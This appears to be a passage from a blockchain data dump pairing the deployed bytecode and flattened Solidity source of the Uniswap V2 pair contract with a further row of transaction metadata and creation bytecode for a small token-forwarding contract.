ff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032 | // File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
} |
1 | 19,493,950 | 304276412d7ad7ef2631ade9f23fbdadb6198e4cb837f161c5e68e831976157e | adb0704ae029dd574fd3c44732f5a9f50626a0ed1e2ceea96e758382fe7342f9 | a7fb5ca286fc3fd67525629048a4de3ba24cba2e | c77ad0a71008d7094a62cfbd250a2eb2afdf2776 | 0f807e65d83ce00752f5e45a6da1e4d091eb0bcc | 608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d60006020840